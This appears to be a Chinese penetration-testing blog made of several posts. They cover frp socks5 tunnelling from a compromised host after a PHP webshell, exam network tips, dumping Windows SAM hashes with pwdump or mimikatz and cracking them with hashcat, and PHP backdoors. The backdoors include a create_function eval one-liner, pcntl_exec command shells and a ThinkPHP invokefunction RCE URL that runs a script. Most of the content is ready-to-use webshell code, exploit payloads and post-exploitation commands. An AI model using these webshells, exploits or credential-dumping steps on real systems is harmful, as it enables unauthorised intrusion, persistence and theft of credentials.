在PHP的网站getshell之后,有一个比较大的B段内网,测试了一下几个代理都不太好用,最后试了frps,ngrok还没测试。
首先是reGeorg,如果是Linux的话需要上传no-socket的文件,但是实际测试,网站打开特别慢。 pass
其次是ew,之前在windows上面测试过ew,效果还不错,不过没有扫描比较大的局域网。这次测试了下,中间扫到一半出现了段错误。pass
最后试frps,实际效果不错,至少可以解决问题了。配置文件这样的:
frps.ini:
[common]
bind_port = 10086
privilege_token = [passwd]
max_pool_count = 50
dashboard_port = [port]
dashboard_user = [user]
dashboard_pwd = [password]
use_encryption = true
use_compression = true
上面试在vps上面启动,会在对应端口开一个web服务,看到已经启动的流量和节点存活
frpc.ini
[common]
server_addr = [vps ip]
server_port = 10086
privilege_token = [passwd]
max_pool_count = 50
[socks5]
type = tcp
remote_port = [port]
plugin = socks5
这个在被控制主机上启动,运行完之后,vps的remote_port端口就会开一个socks5的代理,这样就进入到被控主机的网络里面。nmap扫描要带上-sT -Pn
选项。
Read More
0x01: 网络问题
socks-proxy 127.0.0.1 6876
uth-user-pass auth.txt
在openvpn的配置文件里面,我加了上面两行。
第一行因为国内网络不稳定,我加了ss的代理,后来换成了v2ray.
第二行是理由同上,因为网络不稳定,每次连接VPN都要输入用户密码,这样方便点.
具体网络不稳定有两个表现:
- nmap扫描全部的端口长时间没有反应.
- dirbuster扫描的时候会卡死进行不下去了.
上面两个问题有两个解决方法:
- nmap换成https://github.com/AnthraX1/InsightScan, 先用单文件扫描全部的开放端口,然后用nmap扫描开放端口服务:
nmap -sS -sV -sC <IP> -p <PORT>
- dirbuster换成gobuster,词典不变,线程控制在25个左右.
0x02: 报告问题
我的报告格式和下面这个人的差不多。如果可以尽量使用官方的模版就用官方的模版,不然容易凉,我写了50多页的报告,做了4道半题目。
https://www.cnblogs.com/xiaoxiaoleo/p/9040339.html
0x03: 监考问题
Read More
在windows里面任意读取的文件,找到了sam.old文件和system.old文件,读取之后用burp保存到文件,可以使用如下的命令来提取密码:
root@kali:~# cachedump
usage: /usr/bin/cachedump <system hive> <security hive>
root@kali:~# lsadump
usage: /usr/bin/lsadump <system hive> <security hive>
root@kali:~# pwdump
usage: /usr/bin/pwdump <system hive> <SAM hive>
或者mimikatz: lsadump::sam /system:<SYSTEM> /SAM:<SAM>
提取的格式大概是这样:
root@kali:~# pwdump system sam
Administrator:500:41aa818b512a8c0e72381e4c174e281b:1896d0a309184775f67c14d14b5c365a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:667d6c58d451dbf236ae37ab1de3b9f7:af733642ab69e156ba0c219d3bbc3c83:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8dffa305e2bee837f279c2c0b082affb:::
用户名称是:Administrator
RID是: 500
LM-HASH值: 41aa818b512a8c0e72381e4c174e281b
NT-HASH(NTLM)值: 1896d0a309184775f67c14d14b5c365a
可以使用hashcat来跑密码:
hashcat -m 1000 -a 0 --force hash.txt /usr/share/wordlists/rockyou.txt
其中的hash.txt 可以指的是上面的NT-HASH。
-m 1000 hash的类型,这里是NTLM
-a 0 0表示词典碰撞,这里是kali自带的辞典,还有3表示使用GPU来爆破,不用指定词典。
--force 忽略无显卡,直接跑
hash.txt 就是上面的NT-HASH
Read More
p神在小密圈提了一个create_function的tips,就照之前的来说一句话:
<?php $sl = create_function('', @$_REQUEST['pass']);$sl();?>
只需要单独一个create_function就可以执行函数,搜了下发现在很早的时候80sec提过这个问题:https://www.securityfocus.com/archive/1/496728
不过说的主要是第二个参数可控的情况下。原理来说很简单,create_function是类似这样的一个函数:
function create_function($args, $code) {
eval("
function lambda_1 ($args) { $code }
");
return 'lambda_1';
}
所以在第二个参数可控的情况下闭合大括号return 0; } echo 'outside'; //
,就可以执行:
eval("
function lambda_1 () { return 0; } echo 'outside'; // }
");
第一个可控的情况下,这样就可以执行phpinfo:
create_function('){}phpinfo();//', '');
可以放gdb里面直接调试下,在php源代码里面搜索create_function的实现,然后打断点就可以调试出来:
Read More
2019.8.1更新
这样子执行完就不会多出来的进程,也不会多出来php-fpm
进程:
<?php
/**
* 子进程通过信号kill自己,也可以在父进程中发送kil信号结束子进程
*/
//生成子进程
$cmd = $_REQUEST['cmd'];
$pid = pcntl_fork();
if($pid == -1){
die('could not fork');
}else{
if($pid){
$status = 0;
pcntl_exec($cmd[0], $cmd[1]);
posix_kill(getmypid(),9);
//阻塞父进程,直到子进程结束,不适合需要长时间运行的脚本.
//可使用pcntl_wait($status, WNOHANG)实现非阻塞式
pcntl_wait($status);
exit;
}
}
cmd[0]=/bin/bash&cmd[1][0]=-c&cmd[1][1]=ping%20baidu.com%20%26%26%20pkill%20php-fpm
执行命令的时候不要阻塞,不要阻塞,不要阻塞(举个例子,ping baidu.com就很蠢了)
参数执行:
pcntl_exec("/bin/bash",array("-c","id > 1.txt")) //返回值可能是502
执行脚本:
pcntl_exec("/tmp/script") //返回值502
返回值200
<?php
$cmd = $_REQUEST['cmd'];
if(function_exists('pcntl_exec')) {
switch(pcntl_fork()){
case 0:
pcntl_exec($cmd[0], $cmd[1]);
default:
echo "case 111";
}
} else {
echo '不支持pcntl扩展';
}
?>
cmd[0]=/bin/bash&cmd[1][0]=-c&cmd[1][1]=id > /tmp/xxx.txt
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][0]=/bin/bash&vars[1][1][0]=/tmp/1.sh
<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
@unlink("/tmp/output");
$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}
上面执行的脚本那行chmod不可以少
Read More